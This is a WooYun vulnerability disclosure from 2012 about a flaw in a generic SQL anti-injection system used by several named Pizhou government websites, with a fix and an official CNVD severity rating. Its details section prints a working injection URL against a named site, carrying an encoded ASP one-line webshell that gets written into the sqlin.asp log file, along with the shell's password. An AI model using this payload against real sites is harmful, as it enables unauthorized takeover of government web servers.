当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07379

漏洞标题:几个政府网站的SQL通用防注入系统存在漏洞可轻易拿webshell

相关厂商:政府

漏洞作者: jerryl3e

提交时间:2012-05-21 16:46

修复时间:2012-07-05 16:47

公开时间:2012-07-05 16:47

漏洞类型:默认配置不当

危害等级:低

自评Rank:3

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-21: 细节已通知厂商并且等待厂商处理中
2012-05-23: 厂商已经确认,细节仅向厂商公开
2012-05-26: 细节向第三方安全合作伙伴开放
2012-07-17: 细节向核心白帽子及相关领域专家公开
2012-07-27: 细节向普通白帽子公开
2012-08-06: 细节向实习白帽子公开
2012-07-05: 细节向公众公开

简要描述:

可以很轻易拿webshell

详细说明:

影响网站:
http://pzzl.gov.cn/ 邳州市张楼办事处
http://pzgh.gov.cn/ 邳州市官湖镇人民政府
http://pzhrss.gov.cn/ 邳州人力资源和社会保障网
http://pzsys.gov.cn/ 邳州宿羊山
http://pztj.gov.cn/ 邳州统计信息网
http://yitang.gov.cn/ 邳州市议堂镇人民政府
这些网站都用的通用防注入系统
有个别网站的目录存在sqlin.asp保存注入记录 可以写入一句话木马
比如http://pzzl.gov.cn/news_type.asp?id=1413 and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾
可在http://pzzl.gov.cn/sqlin.asp写入一句话,密码a
连接上去可以看到另外的几个政府网站

漏洞证明:




修复方案:

删除所有用了SQL通用防注入系统网站下的sqlin.asp

版权声明:转载请注明来源 jerryl3e@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2012-05-23 10:54

厂商回复:

CNVD确认并复现所述情况,通过其他实例(商业网站)确认为通用软件漏洞,转由CNCERT江苏分中心协调涉事单位(政府部门)处置,同时联系生产厂商处置。
对漏洞评分如下:
CVSS:(AV:R/AC:L/Au:NR/C:C/A:N/I:P/B:N) score:8.47(最高10分,高危)
即:远程攻击、攻击难度低、不需要用户认证,对机密性构成完全影响,对完整性构成部分影响。
技术难度系数:1.1
影响危害系数:1.2(一般,涉及某地方区域政府和企业用户)
CNVD综合评分:8.47*1.1*1.2=11.180

最新状态:

暂无